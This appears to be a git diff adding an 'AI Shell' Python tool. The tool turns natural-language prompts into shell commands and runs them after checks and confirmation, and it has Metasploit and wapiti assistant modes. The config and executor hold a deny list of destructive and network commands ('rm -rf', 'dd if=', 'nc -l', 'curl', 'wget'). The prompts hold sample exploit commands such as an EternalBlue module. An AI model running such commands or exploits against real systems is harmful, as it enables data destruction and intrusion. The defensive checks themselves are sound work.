Issues](https://github.com/GizzZmo/Ai_shell/issues/new/choose) +- [💡 Discussions](https://github.com/GizzZmo/Ai_shell/discussions) +- [📖 Documentation](https://github.com/GizzZmo/Ai_shell/blob/main/README.md) +- [🤝 Contributing](https://github.com/GizzZmo/Ai_shell/blob/main/CONTRIBUTING.md) +- [📦 Latest Release](https://github.com/GizzZmo/Ai_shell/releases/latest) + +## 📈 Workflow Details + +### CI Workflow Features +- Multi-OS testing (Ubuntu, Windows, macOS) +- Multi-version Python support (3.9-3.12) +- Code linting with flake8 +- Code formatting checks with black +- Comprehensive test suite with pytest +- Code coverage reporting to Codecov +- Package installation validation + +### Security Workflow Features +- CodeQL static analysis with extended security queries +- Dependency vulnerability scanning with Safety +- Secrets detection with Trivy +- License compliance checking +- SARIF report generation for Security tab + +### Documentation Workflow Features +- Markdown syntax validation +- Internal link checking +- Code example validation +- MkDocs site generation +- Automatic deployment to GitHub Pages +- Material theme with search functionality + +### Performance Workflow Features +- Benchmark tests for core components +- Memory profiling and leak detection +- Response time monitoring +- Performance regression detection +- Artifact retention for comparison + +### Release Workflow Features +- Automated changelog generation +- GitHub release creation +- PyPI package publishing +- Pre-release support (alpha, beta, rc) +- Asset uploading + +--- + +*This file is automatically updated daily at 8 AM UTC and after each workflow completion by the Workflow Status action* +*Status dashboard generated by: [status.yml](.github/workflows/status.yml)* diff --git a/WORKFLOW_SYSTEM.md b/WORKFLOW_SYSTEM.md new file mode 100644 index 0000000..7f4802e --- /dev/null +++ b/WORKFLOW_SYSTEM.md @@ -0,0 +1,152 @@ +# GitHub Workflow System Summary + +This document summarizes the comprehensive GitHub workflow system that has been implemented for the AI Shell repository. + +## 🚀 Workflows Implemented + +### 1. **Enhanced CI/CD Pipeline** (`.github/workflows/ci.yml`) +- **Multi-platform testing**: Ubuntu, Windows, and macOS +- **Python version matrix**: 3.9, 3.10, 3.11, 3.12 +- **Code quality checks**: Black formatting, Flake8 linting +- **Test execution**: Pytest with coverage reporting +- **Package installation testing** +- **Codecov integration** for coverage tracking + +### 2. **Automated Release Management** (`.github/workflows/release.yml`) +- **Triggered by**: Git tags (v*) or manual dispatch +- **Validation**: Full test suite, linting, and build checks +- **Changelog generation**: Automatic from git history +- **GitHub Releases**: Automated creation with assets +- **PyPI publishing**: Automatic for stable releases +- **Semantic versioning support** + +### 3. **Security Scanning** (`.github/workflows/security.yml`) +- **CodeQL Analysis**: Advanced security scanning +- **Dependency scanning**: Safety checks for vulnerabilities +- **Secrets detection**: Trivy for credential scanning +- **License compliance**: Automated license checking +- **SARIF reporting**: Security findings in GitHub Security tab +- **Daily scheduled scans** + +### 4. **Documentation Management** (`.github/workflows/documentation.yml`) +- **Markdown validation**: Syntax and structure checks +- **Link verification**: Internal link validation +- **Code example validation**: Python syntax checking +- **MkDocs integration**: Automatic site generation +- **GitHub Pages deployment**: Auto-deploy documentation +- **Documentation completeness checks** + +### 5. **Performance Monitoring** (`.github/workflows/performance.yml`) +- **Benchmark testing**: Automated performance regression detection +- **Memory usage monitoring**: Resource consumption tracking +- **Response time analysis**: Performance metrics collection +- **System resource monitoring**: CPU, memory, disk usage +- **Performance artifact storage**: Historical tracking + +### 6. **Auto-labeling System** (`.github/workflows/auto-label.yml`) +- **Intelligent issue labeling**: Based on content analysis +- **PR size categorization**: XS, S, M, L, XL labels +- **Component-based labels**: LLM, config, security, etc. +- **Priority detection**: High-priority issue identification +- **Work-in-progress tracking**: Draft PR management + +### 7. **Workflow Status Dashboard** (`.github/workflows/status.yml`) +- **Comprehensive reporting**: All workflow status tracking +- **Repository statistics**: Stars, forks, issues, PRs +- **Workflow badges**: Status badge generation +- **Daily status reports**: Automated dashboard updates +- **Quick navigation links**: Easy access to key resources + +## 🔧 Development Tools + +### **Dependabot Configuration** (`.github/dependabot.yml`) +- **Python dependency updates**: Weekly automated updates +- **GitHub Actions updates**: Workflow dependency management +- **Security-focused**: Priority on security updates +- **Controlled updates**: Limited concurrent PRs + +### **Issue Templates** (`.github/ISSUE_TEMPLATE/`) +- **Bug reports**: Structured bug reporting with environment details +- **Feature requests**: Comprehensive feature proposal template +- **Security issues**: Private vulnerability reporting guidance +- **Template configuration**: Guided issue creation + +### **Pull Request Template** (`.github/pull_request_template.md`) +- **Comprehensive checklist**: Testing, security, documentation +- **Type categorization**: Bug fix, feature, breaking change, etc. +- **Security considerations**: Command execution safety checks +- **Documentation requirements**: Ensuring docs are updated + +## 📊 Monitoring and Metrics + +### **Coverage Tracking** +- Codecov integration for test coverage +- Coverage reports in PRs +- Historical coverage trends + +### **Security Monitoring** +- GitHub Security tab integration +- SARIF report uploads +- Dependency vulnerability alerts +- Secret scanning + +### **Performance Tracking** +- Benchmark result artifacts +- Performance regression detection +- Resource usage monitoring +- Historical performance data + +## 🔄 Automation Features + +### **Multi-trigger Support** +- Push to main branches +- Pull request events +- Scheduled execution +- Manual workflow dispatch + +### **Matrix Builds** +- Multiple Python versions +- Cross-platform testing +- Parallel execution + +### **Conditional Execution** +- Path-based triggers +- Branch-specific actions +- Environment-based deployment + +## 🛡️ Security Features + +### **Secure Secrets Management** +- Environment-based secrets +- PyPI token protection +- API key security + +### **Permission Management** +- Minimal required permissions +- Read-only default access +- Write permissions only when needed + +### **Vulnerability Detection** +- Automated dependency scanning +- Code analysis with CodeQL +- Secret detection in commits + +## 📈 Benefits + +1. **Quality Assurance**: Comprehensive testing across platforms and Python versions +2. **Security**: Multi-layered security scanning and monitoring +3. **Automation**: Reduced manual overhead for releases and maintenance +4. **Documentation**: Automated documentation building and validation +5. **Monitoring**: Real-time status tracking and performance monitoring +6. **Contributor Experience**: Clear templates and automated labeling +7. **Compliance**: License checking and security compliance +8. **Scalability**: Configurable workflows that scale with the project + +## 🚀 Getting Started + +1. **For Contributors**: Use the issue and PR templates for structured contributions +2. **For Maintainers**: Monitor the workflow status dashboard for health checks +3. **For Releases**: Tag releases with semantic versioning for automated releases +4. **For Security**: Review security alerts in the GitHub Security tab + +This comprehensive workflow system ensures high code quality, security, and maintainability while providing excellent developer experience for the AI Shell project. \ No newline at end of file diff --git a/ai_shell/__init__.py b/ai_shell/__init__.py new file mode 100644 index 0000000..8d3844c --- /dev/null +++ b/ai_shell/__init__.py @@ -0,0 +1,6 @@ +"""AI Shell - An intelligent command-line assistant.""" + +__version__ = "0.1.0" +__author__ = "Jonne og Diego" +__email__ = "jonovesen@gmail.com" +__description__ = "An intelligent, multi-modal command-line assistant" diff --git a/ai_shell/config.py b/ai_shell/config.py new file mode 100644 index 0000000..66443fb --- /dev/null +++ b/ai_shell/config.py @@ -0,0 +1,227 @@ +""" +Configuration Management for AI Shell + +This module provides comprehensive configuration management for AI Shell, +supporting YAML files, environment variables, and programmatic configuration. + +The configuration system follows a hierarchical approach: +1. Command-line arguments (highest priority) +2. Environment variables +3. Configuration files (YAML) +4. Default values (lowest priority) + +Key Features: +- YAML-based configuration with environment variable substitution +- Nested configuration access using dot notation +- Automatic configuration file discovery +- Runtime configuration updates +- Configuration validation and error handling + +Examples: + Basic usage: + >>> config = Config() + >>> api_key = config.get('llm.gemini.api_key') + >>> config.set('security.require_confirmation', False) + + Load from specific file: + >>> config = Config('/path/to/config.yaml') + + Environment variable integration: + >>> os.environ['GEMINI_API_KEY'] = 'key123' + >>> config = get_config() + >>> key = config.get('llm.gemini.api_key') # Returns 'key123' + +Configuration Schema: + llm: + provider: str # 'gemini' or 'local' + gemini: + api_key: str # API key for Gemini + model: str # Model name + local: + host: str # Ollama host + port: int # Ollama port + model: str # Local model name + + security: + require_confirmation: bool # Require user confirmation + dangerous_commands: List[str] # List of dangerous command patterns + + logging: + level: str # Log level (DEBUG, INFO, etc.) + file: str # Log file path + format: str # Log format string + + training: + dataset_file: str # Training data file path + auto_log: bool # Auto-log successful commands + +Author: AI Shell Contributors +License: MIT +""" + +import os +import yaml +from typing import Dict, Any, Optional +from pathlib import Path + + +class Config: + """ + Configuration manager for AI Shell with YAML and environment variable support. + + This class provides a unified interface for accessing configuration values + from multiple sources with proper precedence handling. It supports: + - YAML configuration files + - Environment variable overrides + - Nested key access using dot notation + - Runtime configuration updates + - Default value fallbacks + + Attributes: + config_file (str): Path to the loaded configuration file + config (dict): Loaded configuration data + + Examples: + >>> config = Config() + >>> provider = config.get('llm.provider', 'gemini') + >>> config.set('security.require_confirmation', True) + >>> config.save('updated_config.yaml') + """ + + def __init__(self, config_file: Optional[str] = None): + """Initialize configuration. + + Args: + config_file: Path to configuration file. If None, uses default locations. + """ + self.config_file = config_file or self._find_config_file() + self.config = self._load_config() + + def _find_config_file(self) -> Optional[str]: + """Find configuration file in standard locations.""" + possible_locations = [ + "config.yaml", + "~/.ai-shell/config.yaml", + "~/.config/ai-shell/config.yaml", + ] + + for location in possible_locations: + path = Path(location).expanduser() + if path.exists(): + return str(path) + return None + + def _load_config(self) -> Dict[str, Any]: + """Load configuration from file or return defaults.""" + if not self.config_file or not Path(self.config_file).exists(): + return self._get_default_config() + + try: + with open(self.config_file, "r", encoding="utf-8") as f: + config = yaml.safe_load(f) or {} + # Merge with defaults + default_config = self._get_default_config() + default_config.update(config) + return default_config + except Exception as e: + print(f"Warning: Could not load config file {self.config_file}: {e}") + return self._get_default_config() + + def _get_default_config(self) -> Dict[str, Any]: + """Get default configuration.""" + return { + "llm": { + "provider": "gemini", # 'gemini' or 'local' + "gemini": { + "api_key": os.environ.get("GEMINI_API_KEY", ""), + "model": "gemini-1.5-flash", + }, + "local": {"host": "localhost", "port": 11434, "model": "llama3"}, + }, + "logging": { + "level": "INFO", + "file": "ai_shell.log", + "format": "%(asctime)s - %(name)s - %(levelname)s - %(message)s", + }, + "training": {"dataset_file": "training_dataset.jsonl", "auto_log": True}, + "security": { + "require_confirmation": True, + "dangerous_commands": [ + "rm -rf", + "format", + "dd if=", + "mkfs", + "fdisk", + "parted", + "wipefs", + "shred", + "chmod 777", + "chown -r root", + "shutdown", + "reboot", + "halt", + "poweroff", + "init 0", + "init 6", + "killall -9", + "pkill -9", + "forkbomb", + ":|:", + "nc -l", + "netcat -l", + "curl", + "wget", + "del /q /s", + ], + }, + } + + def get(self, key: str, default: Any = None) -> Any: + """Get configuration value using dot notation.""" + keys = key.split(".") + value = self.config + for k in keys: + if isinstance(value, dict) and k in value: + value = value[k] + else: + return default + return value + + def set(self, key: str, value: Any) -> None: + """Set configuration value using dot notation.""" + keys = key.split(".") + config = self.config + for k in keys[:-1]: + if k not in config or not isinstance(config[k], dict): + config[k] = {} + config = config[k] + config[keys[-1]] = value + + def save(self, file_path: Optional[str] = None) -> None: + """Save configuration to file.""" + if file_path: + self.config_file = file_path + + if not self.config_file: + # Create default config directory + config_dir = Path.home() / ".ai-shell" + config_dir.mkdir(exist_ok=True) + self.config_file = str(config_dir / "config.yaml") + + try: + with open(self.config_file, "w", encoding="utf-8") as f: + yaml.dump(self.config, f, default_flow_style=False, indent=2) + except Exception as e: + print(f"Error saving configuration: {e}") + + +# Global configuration instance +_config = None + + +def get_config() -> Config: + """Get global configuration instance.""" + global _config + if _config is None: + _config = Config() + return _config diff --git a/ai_shell/executor.py b/ai_shell/executor.py new file mode 100644 index 0000000..d535240 --- /dev/null +++ b/ai_shell/executor.py @@ -0,0 +1,272 @@ +"""Command execution and security utilities for AI Shell.""" + +import shlex +import subprocess +import json +import time +from typing import Optional, Tuple + +from .config import get_config +from .ui import colors, format_error, format_warning, format_info, format_success + + +class SecurityChecker: + """Security checker for command validation.""" + + def __init__(self): + self.config = get_config() + self.dangerous_commands = self.config.get( + "security.dangerous_commands", + [ + "rm -rf", + "format", + "dd if=", + "mkfs", + "fdisk", + "parted", + "wipefs", + "shred", + "chmod 777", + "chown -r root", + "shutdown", + "reboot", + "halt", + "poweroff", + "init 0", + "init 6", + "killall -9", + "pkill -9", + "forkbomb", + ":|:", + "nc -l", + "netcat -l", + "curl", + "wget", + "del /q /s", + ], + ) + + def is_dangerous_command(self, command: str) -> bool: + """Check if a command is potentially dangerous.""" + if not command: + return False + + # Normalize command by removing extra whitespace + command_normalized = " ".join(command.lower().strip().split()) + + # Check against dangerous patterns + for dangerous in self.dangerous_commands: + dangerous_normalized = " ".join(dangerous.lower().split()) + if dangerous_normalized in command_normalized: + return True + + return False + + def validate_command(self, command: str) -> Tuple[bool, Optional[str]]: + """Validate a command for security issues. + + Returns: + Tuple of (is_valid, warning_message) + """ + if not command or not command.strip(): + return False, "Empty command" + + if self.is_dangerous_command(command): + return False, "This command is potentially dangerous and has been blocked" + + # Check for suspicious patterns + suspicious_patterns = [ + "&&", + "||", + ";", # Command chaining + ">", + ">>", + "<", # Redirection + "|", # Pipes + "$(", # Command substitution + "`", # Backticks + ] + + has_suspicious = any(pattern in command for pattern in suspicious_patterns) + if has_suspicious: + return ( + True, + "This command contains advanced shell features - please review carefully", + ) + + return True, None + + +class TrainingDataLogger: + """Logger for training data collection.""" + + def __init__(self): + self.config = get_config() + self.dataset_file = self.config.get( + "training.dataset_file", "training_dataset.jsonl" + ) + self.auto_log = self.config.get("training.auto_log", True) + + def log_training_pair( + self, prompt: str, command: str, feedback: str = "positive" + ) -> None: + """Log a prompt-completion pair to the training dataset.""" + if not self.auto_log: + return + + data = { + "prompt": prompt, + "completion": command, + "feedback": feedback, + "timestamp": time.time(), + } + + try: + with open(self.dataset_file, "a", encoding="utf-8") as f: + f.write(json.dumps(data) + "\n") + print(format_info(f"Feedback logged to {self.dataset_file}")) + except IOError as e: + print(format_error(f"Could not write to dataset file: {e}")) + + +class CommandExecutor: + """Command execution with security and logging.""" + + def __init__(self): + self.security_checker = SecurityChecker() + self.training_logger = TrainingDataLogger() + self.config = get_config() + + def execute_command(self, command: str, user_prompt: str) -> bool: + """Execute a command with security checks and user confirmation. + + Returns: + True if command executed successfully, False otherwise + """ + if not command: + print(format_warning("No command to execute")) + return False + + # Security validation + is_valid, warning = self.security_checker.validate_command(command) + if not is_valid: + print(format_error(warning)) + return False + + if warning: + print(format_warning(warning)) + + # Display command and ask for confirmation + print( + f"\nI am about to execute this command: {colors.COMMAND}{command}{colors.RESET}" + ) + + if command.strip().startswith("sudo"): + print(format_warning("This command requires administrator privileges")) + + # Get user confirmation if required + if self.config.get("security.require_confirmation", True): + try: + confirm = input("Do you want to proceed? [y/n] ").lower().strip() + if confirm != "y": + print("Execution cancelled.") + return False + except (KeyboardInterrupt, EOFError): + print("\nExecution cancelled.") + return False + + # Execute the command + return self._run_command(command, user_prompt) + + def _run_command(self, command: str, user_prompt: str) -> bool: + """Run the command and handle output.""" + try: + print(f"\n{format_info('--- Command Output ---')}") + + # Determine if we need shell=True + needs_shell = any(char in command for char in ["|", ">", "<", "&", ";"]) + process_args = command if needs_shell else shlex.split(command) + + # Start process + process = subprocess.Popen( + process_args, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + text=True, + shell=needs_shell, + bufsize=1, + universal_newlines=True, + ) + + # Stream output + if process.stdout: + for line in iter(process.stdout.readline, ""): + print(line, end="", flush=True) + process.stdout.close() + + return_code = process.wait() + print(f"\n{format_info('----------------------')}") + + # Handle feedback and logging + if return_code == 0: + print(format_success("Command executed successfully")) + self._handle_successful_execution(user_prompt, command) + return True + else: + print(format_error(f"Command finished with exit code: {return_code}")) + self._handle_failed_execution(user_prompt, command) + return False + + except FileNotFoundError: + command_name = shlex.split(command)[0] if command else "unknown" + print(format_error(f"Command not found: '{command_name}'")) + return False + except Exception as e: + print(format_error(f"An unexpected error occurred: {e}")) + return False + + def _handle_successful_execution(self, user_prompt: str, command: str): + """Handle successful command execution feedback.""" + try: + feedback = ( + input("Was this command correct and useful? [y/n] ").lower().strip() + ) + if feedback == "y": + self.training_logger.log_training_pair(user_prompt, command, "positive") + elif feedback == "n": + self.training_logger.log_training_pair(user_prompt, command, "negative") + except (KeyboardInterrupt, EOFError): + pass + + def _handle_failed_execution(self, user_prompt: str, command: str): + """Handle failed command execution feedback.""" + try: + print( + format_warning( + "If you know the correct command, please enter it to improve the AI" + ) + ) + correction = input("Correct command (or press Enter to skip): ").strip() + if correction: + # Validate the correction + is_valid, warning = self.security_checker.validate_command(correction) + if is_valid: + self.training_logger.log_training_pair( + user_prompt, correction, "correction" + ) + else: + print(format_error(f"Correction rejected: {warning}")) + except (KeyboardInterrupt, EOFError): + pass + + +# Global executor instance +_executor = None + + +def get_executor() -> CommandExecutor: + """Get global command executor instance.""" + global _executor + if _executor is None: + _executor = CommandExecutor() + return _executor diff --git a/ai_shell/llm.py b/ai_shell/llm.py new file mode 100644 index 0000000..ee6800a --- /dev/null +++ b/ai_shell/llm.py @@ -0,0 +1,231 @@ +"""LLM integration and prompt management for AI Shell.""" + +import re +import platform +import requests +import json +from typing import Optional, Tuple, Dict, Any + +try: + import google.generativeai as genai + + GENAI_AVAILABLE = True +except ImportError: + genai = None + GENAI_AVAILABLE = False + +from .config import get_config +from .ui import format_error + + +# System prompts for different modes +ASSISTANT_SYSTEM_PROMPT = ( + "You are an expert AI shell assistant. Your goal is to help the user accomplish their tasks by " + "providing explanations, suggestions, and shell commands. The user is interacting with you through a special shell. " + "When you provide a shell command that the user can execute, you MUST enclose it in a ```bash ... ``` markdown block. " + "Be conversational and helpful. Break down complex tasks into steps. You can suggest tools and workflows. " + f"The user's operating system is: {platform.system()}." +) + +METASPLOIT_SYSTEM_PROMPT = ( + "You are a world-class cybersecurity expert and penetration testing assistant. The user is currently inside the Metasploit Framework console (`msfconsole`). " + "Your primary goal is to help the user conduct their penetration test effectively and safely. " + "Provide guidance, explain concepts, and suggest the exact `msfconsole` commands to achieve their goals. " + "When you provide a command for the user to execute, you MUST enclose it in a ```bash ... ``` markdown block. " + "Example commands include `search cve:2021 type:exploit`, `use exploit/windows/smb/ms17_010_eternalblue`, `set RHOSTS 10.10.1.5`, `run`, etc. " + "Always prioritize ethical considerations and user safety. Be conversational and act as a senior penetration tester mentoring a junior." +) + +WAPITI_SYSTEM_PROMPT = ( + "You are a world-class web application security expert. The user is in a shell environment with the `wapiti` tool available. " + "Your primary goal is to help the user scan web applications for vulnerabilities effectively. " + "Provide guidance, explain web vulnerabilities (like XSS, SQLi, LFI), and suggest the exact `wapiti` commands to perform scans. " + "When you provide a command for the user to execute, you MUST enclose it in a ```bash ... ``` markdown block. " + "Example commands include `wapiti -u http://example.com`, `wapiti -u http://test.com -m xss,sqli --scope domain`, `wapiti -u http://vulnerable.site -x http://vulnerable.site/logout`. " + "Always remind the user to only scan applications they have explicit permission to test. Be conversational and act as a senior security analyst." +) + + +class LLMProvider: + """Base class for LLM providers.""" + + def __init__(self, config: Dict[str, Any]): + self.config = config + + def generate_response( + self, + prompt: str, + mode: str, + system_prompt: str = ASSISTANT_SYSTEM_PROMPT, + chat_session: Any = None, + ) -> Tuple[Optional[str], Any]: + """Generate a response from the LLM.""" + raise NotImplementedError + + +class GeminiProvider(LLMProvider): + """Google Gemini LLM provider.""" + + def __init__(self, config: Dict[str, Any]): + super().__init__(config) + if not GENAI_AVAILABLE: + raise ImportError("google-generativeai package is not installed") + + api_key = config.get("api_key", "") + if not api_key: + raise ValueError("Gemini API key is required") + + genai.configure(api_key=api_key) + self.model_name = config.get("model", "gemini-1.5-flash") + + def generate_response( + self, + prompt: str, + mode: str, + system_prompt: str = ASSISTANT_SYSTEM_PROMPT, + chat_session: Any = None, + ) -> Tuple[Optional[str], Any]: + """Generate a response from Gemini.""" + try: + if mode == "translator": + model = genai.GenerativeModel(self.model_name) + meta_prompt = build_translator_meta_prompt(prompt) + response = model.generate_content( + meta_prompt, + generation_config=genai.types.GenerationConfig( + temperature=0.0, max_output_tokens=100 + ), + ) + return clean_llm_response(response.text), chat_session + else: # assistant, metasploit, or wapiti + if chat_session is None: + model = genai.GenerativeModel( + self.model_name, system_instruction=system_prompt + ) + chat_session = model.start_chat(history=[]) + response = chat_session.send_message(prompt) + return response.text, chat_session + except Exception as e: + print(format_error(f"Gemini API error: {e}")) + return None, chat_session + + +class LocalLLMProvider(LLMProvider): + """Local LLM provider using Ollama.""" + + def __init__(self, config: Dict[str, Any]): + super().__init__(config) + self.host = config.get("host", "localhost") + self.port = config.get("port", 11434) + self.model = config.get("model", "llama3") + self.api_url = f"http://{self.host}:{self.port}/api/generate" + self.history = [] + + def generate_response( + self, + prompt: str, + mode: str, + system_prompt: str = ASSISTANT_SYSTEM_PROMPT, + chat_session: Any = None, + ) -> Tuple[Optional[str], Any]: + """Generate a response from local LLM.""" + try: + if mode == "translator": + meta_prompt = build_translator_meta_prompt(prompt) + payload = { + "model": self.model, + "prompt": meta_prompt, + "stream": False, + "options": {"temperature": 0.0}, + } + else: # assistant, metasploit, or wapiti + full_prompt = f"<|system|>\n{system_prompt}\n" + for turn in self.history: + full_prompt += f"<|user|>\n{turn['user']}\n<|assistant|>\n{turn['assistant']}\n" + full_prompt += f"<|user|>\n{prompt}\n<|assistant|>" + payload = { + "model": self.model, + "prompt": full_prompt, + "stream": False, + "options": {"temperature": 0.2}, + } + + response = requests.post(self.api_url, json=payload, timeout=60) + response.raise_for_status() + data = response.json() + + if "error" in data: + print(format_error(f"Ollama server error: {data['error']}")) + return None, chat_session + + response_text = data.get("response", "") + if mode != "translator": + self.history.append({"user": prompt, "assistant": response_text}) + + return ( + clean_llm_response(response_text) + if mode == "translator" + else response_text + ), chat_session + + except requests.exceptions.RequestException as e: + print(format_error(f"Local LLM API error: {e}")) + return None, chat_session + except json.JSONDecodeError: + print(format_error("Failed to decode JSON response from local LLM")) + return None, chat_session + + +def build_translator_meta_prompt(prompt: str) -> str: + """Create a standardized meta-prompt for translator mode.""" + os_type = platform.system() + return ( + "You are an expert natural language to shell command translator. " + "Your task is to take a user's prompt and their operating system, and return ONLY the single, most appropriate shell command. " + "For tasks requiring administrator privileges (like installing software), prefix the command with 'sudo'. " + "Do not provide any explanation, preamble, or markdown formatting. Just the raw command." + f"\n\nUser's Operating System: {os_type}" + f'\nUser\'s Prompt: "{prompt}"' + "\n\nCommand:" + ) + + +def clean_llm_response(text: str) -> str: + """Clean up common formatting issues from LLM responses for translator mode.""" + command = text.strip() + # Remove markdown code blocks + if command.startswith("```") and command.endswith("```"): + command_lines = command.splitlines() + if len(command_lines) > 1: + # Handle cases like ```bash\ncommand\n``` + command = " ".join(line for line in command_lines[1:-1] if line.strip()) + else: + command = command.strip("`") + # Remove backticks + if command.startswith("`") and command.endswith("`"): + command = command.strip("`") + return command + + +def extract_command_from_response(text: str) -> Optional[str]: + """Extract a shell command from a markdown code block in the assistant's response.""" + # Pattern to find ```bash ... ``` blocks + match = re.search(r"```bash\n(.*?)\n```", text, re.DOTALL) + if match: + return match.group(1).strip() + return None + + +def get_llm_provider() -> LLMProvider: + """Get the configured LLM provider.""" + config = get_config() + provider_type = config.get("llm.provider", "gemini") + + if provider_type == "gemini": + gemini_config = config.get("llm.gemini", {}) + return GeminiProvider(gemini_config) + elif provider_type == "local": + local_config = config.get("llm.local", {}) + return LocalLLMProvider(local_config) + else: + raise ValueError(f"Unknown LLM provider: {provider_type}") diff --git a/ai_shell/main.py b/ai_shell/main.py new file mode 100644 index 0000000..fbb146f --- /dev/null +++ b/ai_shell/main.py @@ -0,0 +1,611 @@ +""" +AI Shell - Main Application Entry Point + +This module serves as the primary entry point for the AI Shell application, +providing command-line interface, mode management, and core application logic. + +The application supports three main operating modes: +1. Command Translator: Direct natural language to shell command translation +2. AI Assistant: Conversational mode with context awareness +3. Metasploit Assistant: Specialized penetration testing support + +Key Features: +- Multi-provider LLM support (Gemini, Ollama) +- Interactive PTY sessions for tool integration +- Real-time command output streaming +- Security validation and user confirmation +- Training data collection and feedback loops + +Examples: + Basic usage: + $ ai-shell + + Direct mode selection: + $ ai-shell --mode translator + $ ai-shell --mode assistant --provider local + + Custom configuration: + $ ai-shell --config myconfig.yaml --no-confirmation + +Author: AI Shell Contributors +License: MIT +""" + +import argparse +import asyncio +import getpass +import logging +import os +import pty +import select +import subprocess +import sys +from typing import Optional + +from . import __version__ +from .config import get_config +from .llm import ( + get_llm_provider, + GeminiProvider, + LocalLLMProvider, + ASSISTANT_SYSTEM_PROMPT, + METASPLOIT_SYSTEM_PROMPT, + WAPITI_SYSTEM_PROMPT, + extract_command_from_response, +) +from .executor import get_executor +from .ui import ( + colors, + print_banner, + print_mode_selection, + print_provider_selection, + print_local_model_selection, + format_error, + format_warning, + format_info, + format_success, +) + + +def setup_logging(): + """ + Configure logging for the AI Shell application. + + Sets up logging based on configuration file settings, including: + - Log level (DEBUG, INFO, WARNING, ERROR, CRITICAL) + - Log file location + - Log format string + - Multiple handlers (file and console) + + The configuration is loaded from the global config and supports + environment variable overrides. + + Raises: + PermissionError: If log file cannot be created/written + ValueError: If log level is invalid + """ + config = get_config() + log_level = config.get("logging.level", "INFO") + log_file = config.get("logging.file", "ai_shell.log") + log_format = config.get( + "logging.format", "%(asctime)s - %(name)s - %(levelname)s - %(message)s" + ) + + logging.basicConfig( + level=getattr(logging, log_level.upper()), + format=log_format, + handlers=[logging.FileHandler(log_file), logging.StreamHandler(sys.stdout)], + ) + + +def parse_arguments(): + """ + Parse and validate command-line arguments. + + Creates an argument parser with all supported command-line options + including mode selection, provider configuration, logging options, + and security settings. + + Returns: + argparse.Namespace: Parsed command-line arguments with the following attributes: + - mode (str): Operating mode ('translator', 'assistant', 'metasploit', 'wapiti') + - provider (str): LLM provider ('gemini', 'local') + - config (str): Path to configuration file + - api_key (str): API key for cloud providers + - no_confirmation (bool): Skip command confirmation + - log_level (str): Override log level + - version (bool): Show version information + + Examples: + >>> args = parse_arguments() + >>> print(args.mode) + 'translator' + >>> print(args.provider) + 'gemini' + """ + parser = argparse.ArgumentParser( + description="AI Shell - An intelligent command-line assistant", + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog=""" +Examples: + ai-shell # Interactive mode selection + ai-shell --mode translator # Direct translator mode + ai-shell --mode assistant # AI assistant mode + ai-shell --provider local # Use local LLM + ai-shell --config myconfig.yaml # Use custom config file + """, + ) + + parser.add_argument( + "--version", action="version", version=f"AI Shell {__version__}" + ) + + parser.add_argument( + "--mode", + choices=["translator", "assistant", "metasploit", "wapiti"], + help="Operating mode (default: interactive selection)", + ) + + parser.add_argument( + "--provider", + choices=["gemini", "local"], + help="LLM provider (default: from config or interactive selection)", + ) + + parser.add_argument("--config", metavar="FILE", help="Configuration file path") + + parser.add_argument( + "--api-key", + metavar="KEY", + help="Gemini API key (overrides config and environment)", + ) + + parser.add_argument( + "--no-confirmation", + action="store_true", + help="Skip command confirmation prompts", + ) + + parser.add_argument( + "--log-level", + choices=["DEBUG", "INFO", "WARNING", "ERROR"], + help="Logging level", + ) + + return parser.parse_args() + + +def interactive_mode_selection() -> str: + """Interactive mode selection.""" + print_mode_selection() + + while True: + try: + choice = input("Enter choice (1, 2, 3, or 4): ").strip() + mode_map = { + "1": "translator", + "2": "assistant", + "3": "metasploit", + "4": "wapiti", + } + if choice in mode_map: + return mode_map[choice] + print(format_warning("Invalid choice. Please enter 1, 2, 3, or 4.")) + except (KeyboardInterrupt, EOFError): + print("\nExiting...") + sys.exit(0) + + +def interactive_provider_selection() -> str: + """Interactive provider selection.""" + print_provider_selection() + + while True: + try: + choice = input("Enter choice (1 or 2): ").strip() + if choice == "1": + return "gemini" + elif choice == "2": + return "local" + print(format_warning("Invalid choice. Please enter 1 or 2.")) + except (KeyboardInterrupt, EOFError): + print("\nExiting...") + sys.exit(0) + + +def setup_gemini_provider(api_key: Optional[str] = None) -> bool: + """Setup Gemini provider configuration.""" + config = get_config() + + if not api_key: + api_key = config.get("llm.gemini.api_key") or os.environ.get("GEMINI_API_KEY") + + if not api_key: + try: + api_key = getpass.getpass("Please enter your Gemini API Key: ").strip() + except (KeyboardInterrupt, EOFError): + print("\nNo API key provided. Exiting.") + return False + + if not api_key: + print(format_error("No API key provided")) + return False + + config.set("llm.gemini.api_key", api_key) + return True + + +def setup_local_provider() -> bool: + """Setup local LLM provider configuration.""" + config = get_config() + + # Available models + local_models = { + "1": {"name": "llama3", "size_gb": 5.4}, + "2": {"name": "codellama", "size_gb": 4.0}, + "3": {"name": "mistral", "size_gb": 4.1}, + } + + print_local_model_selection(local_models) + + while True: + try: + choice = input(f"Enter choice ({', '.join(local_models.keys())}): ").strip() + if choice in local_models: + break + print( + format_warning( + f"Invalid choice. Please enter {', '.join(local_models.keys())}." + ) + ) + except (KeyboardInterrupt, EOFError): + print("\nExiting...") + return False + + selected_model = local_models[choice] + + # Check and setup Ollama + if not check_and_setup_ollama(selected_model["name"], selected_model["size_gb"]): + return False + + # Get connection details + try: + host = input("Enter Ollama IP address [localhost]: ").strip() or "localhost" + port = input("Enter Ollama port [11434]: ").strip() or "11434" + except (KeyboardInterrupt, EOFError): + print("\nExiting...") + return False + + config.set("llm.local.host", host) + config.set("llm.local.port", int(port)) + config.set("llm.local.model", selected_model["name"]) + + return True + + +def check_and_setup_ollama(model_name: str, model_size_gb: float) -> bool: + """Check and setup Ollama with the specified model.""" + try: + # Check if Ollama is installed + subprocess.run( + ["ollama", "--version"], capture_output=True, check=True, text=True + ) + except (subprocess.CalledProcessError, FileNotFoundError): + print(format_error("Ollama is not installed or not in your PATH")) + print("Please install Ollama from https://ollama.ai/") + return False + + try: + # Check if model is available + result = subprocess.run( + ["ollama", "list"], capture_output=True, text=True, check=True + ) + if model_name not in result.stdout: + print(format_info(f"'{model_name}' model not found. Pulling now...")) + subprocess.run(["ollama", "pull", model_name], check=True) + print(format_success(f"Successfully downloaded '{model_name}'")) + except (subprocess.CalledProcessError, FileNotFoundError): + print(format_error("Could not connect to Ollama server")) + return False + + return True + + +def translator_loop(): + """Main loop for the direct command translator.""" + print("\n--- Command Translator Mode ---") + print("Enter a prompt, and I'll give you a shell command.") + print("Type 'exit' or 'quit' 